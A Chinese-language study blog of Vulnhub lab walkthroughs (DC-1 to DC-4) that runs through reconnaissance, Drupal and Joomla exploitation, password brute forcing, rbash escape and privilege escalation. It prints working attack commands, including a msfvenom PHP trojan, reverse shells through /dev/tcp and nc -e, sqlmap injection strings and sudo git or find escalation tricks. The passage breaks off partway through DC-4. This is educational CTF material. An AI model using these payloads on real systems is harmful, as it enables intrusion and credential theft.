1. 1. 前言
  2. 2. DC系列【1~9】(完)
  3. 3. 一、DC-1[初级]
    1. 3.1. 信息收集
    2. 3.2. Flag1
      1. 3.2.1. msf
      2. 3.2.2. *交互式shell
    3. 3.3. Flag2
    4. 3.4. Flag3
      1. 3.4.1. 1)mysql数据库修改admin用户的密码(或者新建一个用户密码)
      2. 3.4.2. 2)利用drupal脚本添加管理员用户
    5. 3.5. Flag4
      1. 3.5.1. 1)个人方法
      2. 3.5.2. 2)官方方法
    6. 3.6. Flag5
      1. 3.6.1. suid提权
  4. 4. 二、DC-2[初级]
    1. 4.1. 信息收集
    2. 4.2. Flag1
    3. 4.3. Flag2
      1. 4.3.1. cewl
      2. 4.3.2. wpscan
    4. 4.4. Flag3
      1. 4.4.1. rbash
      2. 4.4.2. *vi绕过->rbash逃逸
      3. 4.4.3. *设置全局变量
    5. 4.5. Flag4
    6. 4.6. Flag5
      1. 4.6.1. *git缓存区溢出漏洞
        1. 4.6.1.1. *注意窗口大小
          1. 4.6.1.1.1. 1.窗口足够大
          2. 4.6.1.1.2. 2.窗口小一些
      2. 4.6.2. 法 1.执行命令,拿到root的shell
      3. 4.6.3. 法 2.修改密码,登录
  5. 5. 三、DC-3[初级]
    1. 5.1. 信息收集
    2. 5.2. john
    3. 5.3. 后门生成,进入shell
      1. 5.3.1. 法1
        1. 5.3.1.1. msf生成木马
          1. 5.3.1.1.1. msf利用木马
          2. 5.3.1.1.2. 提权
      2. 5.3.2. 法2
        1. 5.3.2.1. 反弹shell
      3. 5.3.3. 法3
        1. 5.3.3.1. weevely【提权没回显】
  6. 6. 四、DC-4[初级]
    1. 6.1. 信息收集
    2. 6.2. 密码爆破
    3. 6.3. hydra对三用户进行ssh爆破
    4. 6.4. teehee
      1. 6.4.1. 添加管理员账户
  7. 7. 五、DC-5[高级]
    1. 7.1. 信息收集
    2. 7.2. 文件包含
      1. 7.2.1. 1.验证我们的想法
      2. 7.2.2. 2.利用文件包含拿shell
        1. 7.2.2.1. 1)向Nginx错误日志导入一句话🐎
        2. 7.2.2.2. 2)nc命令反弹shell
        3. 7.2.2.3. *获得稳定的shell
      3. 7.2.3. 3.提权
        1. 7.2.3.1. 1)searchsploit找提权脚本文件
        2. 7.2.3.2. 2)nc向靶机传入脚本提权文件
        3. 7.2.3.3. 3)执行脚本进行提权
          1. 7.2.3.3.1. *出现意外
            1. 7.2.3.3.1.1. 给cc1配置环境变量
            2. 7.2.3.3.1.2. 关键来了【期待】
  8. 8. 六、DC-6[中级]
    1. 8.1. 信息收集
    2. 8.2. 1.wpscan爆破出用户名【dc2里搞过】
    3. 8.3. 2.wpscan爆破密码
    4. 8.4. 3.登录网站找信息
      1. 8.4.1. 1)50110.py【有问题,不建议用】
      2. 8.4.2. 2)45274.html
        1. 8.4.2.1. nc监听拿shell
        2. 8.4.2.2. 以其他用户身份运行脚本,实现切换用户
    5. 8.5. 4.nmap提权
      1. 8.5.1. 1.旧版
      2. 8.5.2. 2.新版
  9. 9. 七、DC-7[中级]
    1. 9.1. 信息收集
    2. 9.2. 1.跳出框架
    3. 9.3. 2.ssh登录
      1. 9.3.1. *定时任务【cron(crond)】
      2. 9.3.2. *关键思路
      3. 9.3.3.
    4. 9.4. 3.drush命令对drupal修改用户名和密码
    5. 9.5. 4.登录网站
      1. 9.5.1. 添加php执行插件
      2. 9.5.2. 加入一句话木马
    6. 9.6. 5.蚁剑连接getshell
    7. 9.7. 6.反弹shell拿www-data
    8. 9.8. 7.利用定时任务【cron】提权root
  10. 10. 八、DC8[初级]
    1. 10.1. 信息收集
    2. 10.2. 1.sql注入
    3. 10.3. 2.后台添加木马
    4. 10.4. 3.反弹shell
    5. 10.5. 4.提权【exim4】
      1. 10.5.1. 意外
      2. 10.5.2. p.s. setuid
        1. 10.5.2.1. 在pwn中
  11. 11. 九、DC9[中级]
    1. 11.1. 信息收集
    2. 11.2. 1.sql注入
    3. 11.3. 2.文件包含
    4. 11.4. 3.ssh
      1. 11.4.1. 1) knockd
      2. 11.4.2. 2) hydra
    5. 11.5. 4.提权
      1. 11.5.1. py脚本利用
        1. 11.5.1.1. openssl加盐
  12. 12. ELSE
  13. 13. 一、DEATHNOTE: 1[初级]
    1. 13.1. 信息收集
      1. 13.1.1. *关键信息
    2. 13.2. 1.wpscan
      1. 13.2.1. 登录后台
    3. 13.3. 2.ssh登录
    4. 13.4. 3.登录kira
    5. 13.5. 4.提权
    6. 13.6. p.s.靶机彩蛋
  14. 14. 二、MATRIX-BREAKOUT:2 MORPHEUS[中级]
    1. 14.1. 信息收集
      1. 14.1.1. dirbuster
      2. 14.1.2. 一句话🐎
    2. 14.2. FLAG1
    3. 14.3. FLAG2

Vulnhub靶场学习笔记

学习一下实战靶场,做一下笔记

实战环境,

信息收集的能力决定了能否渗透成功,以及自己会浪费自己多少时间

前言

官网下载地址

http://www.vulnhub.com/

这里提一下靶场机ip怎么看

1
ip a 

image-20220829153949360

nmap -sP 192.168.133.134/24
//192.168.133.134是虚拟机ip

image-20220829154027029

找到靶机ip

1
192.168.133.136

习惯性用nmap扫一下它端口

image-20220829154322453


DC系列【1~9】(完)

一、DC-1[初级]

five flags

信息收集

浏览器访问靶机ip

1
192.168.133.136

这是开始界面

image-20220829154626618

这里介绍一个插件Wappalyzer,它能够获取网页自身的框架和编写的语言,这样就不用查看网络返回包来分析了

image-20220830094043837

可以看到网站是用php语言编写的,CMSDrupal


Flag1

msf

先用msf看看有没有drupal相应的攻击脚本

终端输入msfconsole,进入msf界面,或者菜单也可以打开

image-20220830094506049

输入search drupal,找一下有没有drupal可以利用的脚本
对于其他命令,可以用help查询

image-20220830094939297

这里可以选择不同的脚本,下面以编号1的脚本为例,其他的应该也可以

输入use 1,进入编号1脚本的运行环境

image-20220830095106784

输入show options,查看脚本运行的所需要配置的项目

image-20220830105519336

Required是要求填的,yes是必填项,no是非必填项

这里的RHOSTS没有填,这里是要求填入target hosts也就是目标地址,也就是我们靶机的地址

输入set RHOSTS 192.168.133.136

image-20220830110143969

再输入run,运行脚本

image-20220830110303594

输入shell,进入shell

image-20220830110551273

输入whoami,查看当前的权限

image-20220830110648417

发现是个低权限的账号

输入ls,可以查看到当前的目录文件

image-20220830110825217

但是一堆东西挤在一起,还是有些不太方便

*交互式shell

输入下方指令,利用python进入交互式shell【固定姿势,要记住】

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20220830110907408

输入ls

image-20220830142759540

发现flag1.txt

输入cat flag1.txt查看

image-20220830142915555

Every good CMS needs a config file - and so do you.
意思是:一个好的CMS(内容管理系统)需要一个config file(配置文件)

也就是我们需要看看它的配置文件,这是Flag2的线索

Flag2

在目录下我们发现有个sites目录,也就是站点目录,里面很有可能有配置文件

image-20220830142759540

输入cd sites;ls -a

image-20220830143404972

有个default(默认)目录,查看一下

输入cd default;ls -a

image-20220830143517235

看到setting.php也就差不多是config file

输入cat setting.php

image-20220830143752469

得到Flag2

  • flag2

  • Brute force and dictionary attacks aren't the

  • only ways to gain access (and you WILL need access).

  • What can you do with these credentials?

    意思是:暴力和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。
    你能用这些证书做什么?

就是说不要局限于爆破密码来登录admin用户,你拥有了数据库这些信息,你可以做什么


Flag3

关键分析这里,这是靶机数据库的用户名和密码的信息,

有了这个我们就可以进入靶机的数据库,对里面的数据库进行修改或增添

1
2
3
4
5
6
7
8
9
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
)

1)mysql数据库修改admin用户的密码(或者新建一个用户密码)

输入mysql -udbuser -pR0ck3t

*注意这里-u和-p后面没有空格,有空格会报错

image-20220830151236620

先看看数据库

输入show databases;

image-20220830151531028

查看drupaldb库里的表

输入use drupaldb;
然后输入show tables;

image-20220830151716900

看到users表,这就是我们登录成功的关键,查看该表

image-20220830151829478

发现有两个用户,我们的目的是修改或者获得admin用户的密码,当然也可以再创建一个用户,但是都需要加密

因为这里我们可以发现用户的密码是被加密了的,那加密文件肯定是在脚本目录里,也就是scripts目录里,利用加密脚本,把我们的密码加密,然后更新数据库里admin用户原本的密码

我们来找找密码加密脚本在哪里

image-20220830142759540

看到scripts目录

进入查看

输入cd scripts;ls -a

image-20220830152428416

发现有一个password-hash.sh文件,密码就是通过它进行hash加密的

运行它,让它把我们的密码加密

输入./password-hash.sh 123456


但是运行可能会出现如下错误,如果没有请忽略

image-20220830152851541

报错说

include_once(/var/www/scripts/includes/password.inc): failed to open stream: No such file or directory

也就是找不到该文件,但是发现,includes目录确实也不在scripts目录下,于是用cp把includes目录放到scripts目录下即可

输入cp -r ../includes ./


得到加密数据

image-20220830153417077

再次进入mysql数据库,修改 admin密码

1
update users set pass="$S$D9wpmqJmKcXIUSGVEY2utFL8LBiwX18pbpLhBZifD9gXThGAwz4x" where name="admin"

image-20220830161703412

我们试试能不能登录

用户名:admin

密码:123456

登录成功

image-20220830161808584

得到flag3

image-20220830161837967

2)利用drupal脚本添加管理员用户

优点是更加方便,快捷,但是脚本不是万能的,只有自己明白原理才是真正掌握,这个的本质也是利用sql注入

1
https://www.exploit-db.com/exploits/34992

该网站在kali里面浏览器书签自带的,这个脚本适用于drupal,直接下载下来用即可

image-20220830145453216

下载好后,运行

1
python2 34992.py -t http://192.168.133.136 -u admin001 -p 123456

-t就是目标网站,-u就是新建的用户名,-p就是用户名密码
*注意这个脚本需要 python2运行,python3语法不符合

image-20220830145642143

然后按照输入的,直接登录就可以了,或者直接点击下面链接

image-20220830153620620

就可以拿到Flag3

image-20220830154431807


Flag4

1)个人方法

分析一下flag3

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

意思是:Special PERMS特别的权限(应该是root权限),passwd应该是查看/etc/passwd目录,FIND意思利用find命令,-exec就是需要用它执行命令, get what’s in the shadow意思是flag4在/etc/shadow里

我们先看看etc目录

image-20220830163045108

发现了passwd文件

输入cat passwd

查看一下内容

发现有flag4的线索

image-20220830163220380

flag4是在/home/flag4里面,我们到目录里看看

输入cd /home/flag4

发现有个flag4.txt,查看

image-20220830163358828

得到flag4

2)官方方法

用了hydra[九头蛇]工具,对我们在passwd里看到flag4用户进行爆破

1
hydra -l flag4 -p /usr/share/wordlists/rockyou.txt.gz 192.168.133.136 -vV -f

-l是指定用户或指定包含多个用户的文件,-p是指定密码或指定包含多个密码的文件,ssh就是
用户所在的网站

上面-p的文件是自己下载的密码包

image-20220830211739164

这里就看到flag4用户的密码被爆破出来,是orange

然后用ssh连接

输入ssh flag4@192.168.133.136
然后yes
然后输入密码:orange

进入flag4用户页面,

输入cat flag4.txt
得到flag4

image-20220830211817515


Flag5

分析一下flag5
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

意思是:您可以使用相同的方法查找或访问根目录中的标志吗?

可能但也许这并不容易。也许是这样?

root应该就是需要提权了

suid提权

linux提权操作可以看一下我的WEB随笔suid提权,下面只记录流程

输入find / -perm -u=s -type f 2>/dev/null,查看目录下suid权限所有可执行二进制文件

发现find目录

image-20220830162407934

于是可以利用find获取root权限shell

主要是要让find命令成功执行,找一个存在的文件即可

以在根目录为例
输入find / -name initrd.img -exec "/bin/sh" \;

提权成功

image-20220830164525214

我们在flag4里知道,最后的旗子在root目录里

输入cd /root;ls -a

发现thefinalflag.txt

image-20220830164848589

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
意思是:
做得好!!!!

希望你喜欢这一点,并学习了一些新技能。

你可以告诉我你对这次小旅行的看法
通过Twitter联系我-@DCAU7

5个旗子找完,游戏结束


二、DC-2[初级]

five flags

信息收集

先用nmap扫描一些

输入nmap -p- 192.168.133.138

发现内容太少了

image-20220831205238565

输入nmap -p- 192.168.133.138 -A

image-20220831205550715

发现7744端口运行的ssh22端口被换了

Ssh是一个安全的远程登录协议,它的端口号默认是22端口

SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行SSH。

我们试试访问我们的靶机ip192.168.133.138


但是访问失败【如果没有问题,可以忽略】

image-20220831210742250

可以看到,访问IP的时候进行了一个跳转,跳转到了http://dc-2,且无法访问

我猜测是hosts文件没有修改,所以域名无法登录

需要在hosts其中添加域名:http://dc-2和其ip:192.168.133.138dns才能正常转换

输入vi /etc/hosts

image-20220831211542540

向其中添加

1
192.168.133.138 dc-2

image-20220831212553718

刷新浏览器,再次访问192.168.133.138http://dc-2

image-20220831212746196

成功连接


Flag1

进入网页就看到flag

image-20220831212936534

点击打开查看

image-20220831213114724

Flag 1:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

意思是:
你通常的密码表可能不起作用,因此,也许你只需要成为cewl。

密码越多越好,但有时你无法赢得所有密码。

作为一个登录以查看下一个标志。

如果找不到,请作为另一个登录

·Cewl是一个通过指定url及深度,使用爬虫技术,生成字典的一个工具。

那我们就用cewl工具试一下
*不会工具一般用-h就可以知道使用说明


Flag2

根据flag1,我们用cewl试试生成字典

cewl

输入cewl http://dc-2/ >pass.txt

image-20220831221031390

目录下就会生成pass.txt

输入cat pass.txt,查看内容

image-20220831221151099

发现是生成对应网站的密码字典

flag1整理信息好像差不多了,下面我们利用dc1提到的wappalyzer,查看一下网页的框架结构有没有什么线索

image-20220831221945690

发现网站的CMSWordPress,还可以看到它的主题是Twenty Seventeen

wordpress,有没有什么漏洞可以供我们利用呢,下面就提及另一个工具

wpscan

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写 能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞

于是我们就可以针对性对wordpress进行渗透看看,可不可以利用一下

输入wpscan --url http://dc-2 -e u

image-20220831223359965

然后往下看用户名

image-20220831223432802

发现有三个,然后可以复制下来,弄一个用户名的文本,和之前的pass.txt这个密码本一样

输入vi un.txt

admin jerry tom复制进去

image-20220831223714569

然后就可以结合我们的密码文本和用户名文本,利用wpscan这个工具,进行爆破操作了

输入wpscan --url http://dc-2 -P pass.txt -U un.txt

image-20220831223950721

稍微等一会

image-20220831224205560

admin用户密码没有找到,应该是最高权限的账号

但是jerrytom用户的密码已经知道了

下面,我们就要开始找登录的页面了,一般是后台网站

我们可以用dirsearch工具进行扫描看看

image-20220831224818079

发现网站

image-20220831224833915

用我们之前获得的用户名和密码登录试试

jerry为例,好像用tom会显示密码错误

page窗口发现flag2

image-20220831225233262

点开查看,得到flag2

image-20220831225256842

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.
意思是:
如果你不能利用WordPress并走捷径,还有另一种方法。

希望你能找到另一个切入点。


Flag3

根据flag2的提示,实际上就是说从wordpress这条路是行不通的,要从另外的方向

但是如果wordpress行不通,而这个网站就是wordpress搭建起来的,那么这个网站的就不能下手

虽然网站的80端口的http行不通

但是我们之前用nmap扫了一下,发现端口7744运行着ssh,那我们能不能利用ssh登录成功呢

image-20220831205550715

我们先用之前用过的工具hydra进行爆破一下,看看这个ssh的用户是谁

输入hydra -l un.txt -P pass.txt 192.168.133.138 ssh -s 7744

image-20220831230552544

发现tom账号是在这里登录

image-20220831231405322

1
输入ssh tom@192.168.133.138 -p 7744

image-20220831231449571

登录成功后,ls发现flag3.txt

输入cat flag3.txt,查看内容

image-20220831231634426

发现没有该命令,那就可能是没有权限执行这个命令了

rbash

看到rbash,不认识,查一下

rbash
它与一般shell的区别在于会限制一些行为,让一些命令无法执行

看来是限制了我们的命令,但我们还是得知道我们目前还能用那些命令,之前使用过ls,所以ls可以使用

输入ls /home/tom/usr/bin

//查看rbash设置的可执行的命令

image-20220831232504736

我们可以看到我们可以利用

1
less ls scp vi

关键是vi的命令

*vi绕过->rbash逃逸

可以进入vi中,执行set命令,把shell改为/bin/sh

先输入vi,进入vi

image-20220831233127692

然后

直接输入,不用按i
:set shell=/bin/sh //给shell赋值
回车
:shell //执行shell
回车,就退回主界面来了

image-20220831233626801

这样我们就完成了逃逸

之前因为我们受限于rbash,不能执行cd等命令

image-20220831233814113

现在执行试试

image-20220831234028674

就没有阻止了

我们再试试cat

image-20220831234235801

发现cat命令找不到,但是我们已经绕过了rbash,所以只能是其他原因,最有可能就是cat的环境没有设置到当前位置

输入echo $PATH
这是显示当前环境变量,可能cat并没有被设置到当前的环境变量所以无法执行

image-20220831234423827

*设置全局变量

于是我们来设置全局变量,终端输入
export PATH=PATH:/usr/local/sbin:/usr/local/bin:usr/sbin:/usr/bin:/bin:sbin

这样我们执行cat就不会只在/home/tom/usr/bin里面寻找了,会在很多目录里寻找

输入

cd tom
ls
cat flag3.txt
得到flag3

image-20220831235038373

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
意思是:

可怜的老汤姆总是在追杰瑞。也许他应该为他造成的所有压力负责。

但是看到了su,也就是需要切换用户


Flag4

根据flag3,我们可以知道需要用su命令切换用户到jerry

输入su jerry和其密码adipiscing

image-20220901094337288

然后切换到jerry目录,发现flag4.txt

image-20220901094512382

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!
意思是:
很高兴看到你走了这么远,但你还没回家。
你仍然需要得到最后的标志(唯一真正重要的标志!!!)。
这里没有提示-你现在只能靠自己了。:-)

去吧-滚出去!!!!

看到git,就是提示我们用git命令


Flag5

*git缓存区溢出漏洞

输入sudo -l
//列出目前用户可执行与无法执行的指令。

image-20220901112624228

就可以发现root以nopasswd【不需要密码】运行git命令

原理是git存在缓存区溢出漏洞,

在使用

1
sudo git -p

不需要输入root密码,即可以root身份执行这条命令

操作如下

sudo git -p

//-p是分页查看,这个原理就是终端的窗口大小不够显示,所以下方会出现冒号,等待输入命令

下面可以看看区别

*注意窗口大小

1.窗口足够大

image-20220901113721300

可以看到显示完了,就又回到原处了【不行】

2.窗口小一些

image-20220901113851826

下方就显示出:,等待输入

冒号:是自带有的,不是输入的
:!/bin/sh

//感叹号!是shell转义字符,所以要避免sudo授权用户使用vi,vim,ftp,lee,more,git
进入root

cd /root

当然也可以执行:!passwd root
修改其密码
然后su root登录也可

法 1.执行命令,拿到root的shell

$变成#成功

image-20220901114902493

法 2.修改密码,登录

image-20220901114453769

$变成#,成功登录

image-20220901114726423

然后到/root目录下,找到最后的 flag

image-20220901115306177

1
2
3
4
5
6
__    __     _ _       _                    _ 
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/

Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.
意思是:

恭喜!!!

特别感谢所有给我发推文的人

并向我提供了反馈-非常棒
谢谢。

如果您喜欢这个CTF,请通过@DCAU7给我发一条推文

5个旗子找完,游戏结束


三、DC-3[初级]

only one flag

信息收集

【前面的靶机ip寻找,按之前的步骤即可】

先用nmap扫一下我们的靶机ip

1
nmap -p- 192.168.133.139

image-20220902123406584

看到只有80端口,运行着一个http服务,中间件为apache2.4.18

内容管理系统(CMS)是joomla

image-20220902123056590

利用插件wappalyzer,也可以看到其CMSjoomla

我们可以利用kali包当中自带的joomscan工具对其进行扫描

漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。还能够以HTML或文本格式导出扫描报告。

【没有的,可能需要更新包,然后直接下载即可】

image-20220902185529785

输入joomscan -u 192.168.133.139

image-20220902185954570

扫描发现了,管理员的登录网址http://192.168.133.139/administrator/

image-20220902190312468

但是不知道用户名和密码


发现其joomla版本为3.7.0

image-20220902194849302

但我们并不知道该版本有哪些漏洞,所以需要用到 kaliExploit-DB工具

可以在浏览器里的Exploit-DB网址进行查询【不过因为是国外网址有点卡】

image-20220902195723987

然后寻找下载payload


也可以在终端输入命令查询【也是基于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块】

输入searchsploit joomla 3.7.0

image-20220903084826356

可以看到joomla 3.7.0版本存在sql注入的漏洞

然后查看Path

输入searchsploit -p 42033

image-20220903124805721

Path就是该漏洞利用方法的文本地址

输入cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

image-20220903125053542

可以看到该漏洞的测试平台,时间,还有漏洞的CVE编号

关键在它给出的sqlmap注入的模板

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

//把localhost改成靶机ip即可

image-20220903125630036

运行

image-20220903125921853

发现了靶机下的数据库,我们所需要的就是joomladb

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

//在原有的payload后加上-D joomladb,选定数据库
//再在后面加上–tables,输出该数据库的表

image-20220903130545749

然后可以看到#__users的表,里面很可能有线索

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns

//和上一步类似,但注意表名有#,所以需要用引号框起来,不然后面语句全被注释了
//*注,sqlmap提示按默认推荐就好

image-20220903131111592

看到usernamepassword,查看列里内容

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C username,password --dump
//dump获取字段中的数据

image-20220903133516906

得到用户名和密码

但是密码被加密了,那就只能用一些工具进行解密

先生成一个加密密码的文本文件

输入vi passwd.txt
然后把加密数据复制进去
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

image-20220903134307088

john

然后我们就需要用一个解密工具john

John是一个破解系统密码的工具

使用很简单

输入john passwd.txt

//后面接的是密码文本文件

然后输入

john --show passwd.txt
//查看爆破成功的密码,发现爆破成功

image-20220903140126704

得到密码snoopy

然后登录后台网址

用户名:admin
密码:snoopy

image-20220903140604935

登录成功,然后摸索分析一下网站

然后在Extensions–>Template

image-20220903142609240

image-20220903142440563

发现有个new file,可以新建文件,那么我们也可以新建一个我们的木马文件,拿取靶机的shell

后门生成,进入shell

法1

msfvenom

msf生成木马

输入msfvenom -p php/meterpreter/reverse_tcp LHOST=kali的ip LPORT=4444 -f raw > shell.php
//注意,LHOST是kali的ip

image-20220903222910397

输入ls

image-20220903144052531

发现目录下生成了 shell.php

输入cat shell.php

image-20220903223007361

得到靶机对应的木马

然后在网站新建一个php文件

image-20220903221145987

然后把木马内容导入进去

image-20220903223039265

然后保存一下

image-20220903221243628

然后我们就需要找到木马文件路径,进行访问看看,能不能访问成功

因为我们文件是在/templates/protostar/下上传的,所以访问

1
http://192.168.133.139/templates/protostar/1.php

image-20220903221340927

看到/*,看来是可以成功访问

msf利用木马

然后用msf进行利用

先输入msfconsole,进入msf

然后输入
use exploit/multi/handler

set payload php/meterpreter/reverse_tcp
进入我们利用msf制作的木马利用环境

image-20220903220102252

输入show options
看看需要填写什么

image-20220903220250819

看到LHOST监听的ip没有填写

输入set LHOST 192.168.133.140 //kali的ip

输入run,运行

这里就是在等待我们的木马运行,我们只需要刷新一下我们之前访问木马的网页

1
http://192.168.133.139/templates/protostar/1.php

image-20220903223440029

然后输入

输入shell

然后输入python -c 'import pty; pty.spawn("/bin/bash")'
//进入交互式shell,当然不嫌看着麻烦,也可以直接执行后面命令

image-20220903223812256

提权

输入ls,简单看看文件

image-20220903224116654

输入uname -a
查看系统版本

image-20220904082811177

看到unbuntu20164月发布的,所以是unbuntu16.04

linux版本是4.4.0-21

所以根据这个版本看看有没有可以利用的漏洞,来方便我们提权

还是利用之前用过的
searchsploit unbuntu 16.04

image-20220904093243588

double-fdput() ,这是运行可执行文件,即可获取root权限

我们把它内容显示出来

输入searchsploit -p 39772显示文本路径
cat /usr/share/exploitdb/exploits/linux/local/39772.txt 显示内容

image-20220904093849189

在最后看到该漏洞利用的exp下载链接

image-20220904095521748

下载最后一个链接的压缩包

1
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

然后在我们的网站后台上传上去,和创建木马文件时候一样

image-20220904101055473

结果报错了

image-20220904101159692

看来这个网站上传处是不能上传压缩包文件的

所以我们只能用工具进行直接上传了,比如蚁剑或者菜刀等工具

我们和之前一样新建一个php文件写上我们的一句话木马

image-20220904101711601

用蚁剑连接

1
http://192.168.133.139/templates/protostar/123.php

image-20220904101700569

然后把我们的压缩包放在目录下

image-20220904112832628

然后返回msf

输入ls

image-20220904112929091

发现压缩包已经在里面了

然后解压缩

输入unzip 39772.zip

image-20220904113114803

发现目录下多了个39772的目录

输入cd 39772

image-20220904113213562

发现有两个压缩包,我们利用exploit.tar

输入tar -xvf exploit.tar //解压缩

image-20220904113439714

发现多了个ebpf_mapfd_doubleput_exploit目录

1
输入cd ebpf_mapfd_doubleput_exploit

image-20220904113541560

发现有个compile.sh

运行

输入./compile.sh

发现目录下有多了一个doubleput

image-20220904113730537

这就是提权文件,运行一下

输入./doupleput

image-20220904114028987

1
输入whoami,看看提权成功没

image-20220904114119370

提权成功

然后我们到/root目录下查看 flag

image-20220904114212223


1
2
3
4
\ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)

Congratulations are in order. :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!

意思是:

恭喜你,一切正常。:-)

我希望你和我一样喜欢这个挑战。

如果有任何方法可以改善这些小挑战,

请让我知道。

如往常一样,评论和投诉可以通过Twitter发送到@DCAU7

祝你有美好的一天!!!!

一个旗子找完,游戏结束

法2

反弹shell

反弹shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

通俗点说,反弹shell就是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。

由于防火墙等限制,对方机器只能发送请求,不能接收请求

对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,建立一个服务端,让恶意程序主动连接,才是上策。

和法一一样,我们需要写一个反弹shellphp文件

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.133.140/8888 0>&1'");?>

//注意这里的ip为kali的ip,8888为监听的端口

image-20220904115013063

输入nc -lnvp 8888开始监听
然后访问456.php
http://192.168.133.139/templates/protostar/456.php

image-20220904130847588

拿到shell,后面提权和法一

一样

法3

weevely【提权没回显】

Weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式 构建,可以算作是linux下的一款php菜刀替代工具

生成Shell

weevely generate <文件名>

weevely generate 123456 shell.php

把生成的内容,复制到我们创建的789.php文件里,和前面两个方法步骤一样

利用触发shell

weevely http://192.168.133.139/templates/protostar/789.php 123456

python -m http.server 9999

image-20220904133118746

成功进入shell

但是当执行提权时

image-20220904135935922

报错无法提权,看来是被过滤啥的


四、DC-4[初级]

only one flag

信息收集

先看看靶机端口运行的服务

image-20220918190610478

发现有2280端口,分别运行sshhttp

我们先访问80端口

访问ip:192.168.133.141

image-20220918190945726

是一个基本的登录窗口,有提示是admin用户登录界面,所以可能需要密码爆破登录

我们再利用wappalyzer看一下网站一些基本信息

image-20220918194402321

没有啥有用的信息

密码爆破

然后我们就开始进行密码爆破

已知用户名为admin,只用对密码爆破

image-20220918202233098

【字典可以自己找,当然也可以看我学习笔记写的网站下载】

这里我用的top2000.txt

最后爆破出密码为happy

image-20220918203225520

登录试试

image-20220918204147349

登录成功,进入Command

image-20220918204230810

点击run,就会显示上面的数据,看来是命令执行,但是它默认是ls -l,我们试试抓包能修改请求包里的命令吗

image-20220918204413877

发现是可以修改的,我们试试whoami命令,看看当前网站登录用户权限

输入whoami

image-20220918204514149

发现是普通用户权限

下面是两个getshell的思路


1.

后续查询操作,因为我们可以执行命令,所以也可以利用nc反弹shell,同样也可以找到用户目录信息

终端输入nc -l -vv -p 8888,监听8888端口

抓包数据命令修改为

nc -nv 192.168.133.140 8888 -e /bin/bash //192.168.133.140是虚拟机ip,不是靶机ip

然后终端就可以执行后续执行命令的类似操作,就是执行的时候可能稍微方便一些


2.

我们修改命令,查询/etc/passwd文档(记录每个用户的信息,方便管理员对用户的管理的一个文档)

输入cat+/etc/passwd

image-20220918205535912

发现有三个用户

charles
jim
sam

我们查看这几个用户的目录下有没有我们需要的信息

先访问charles

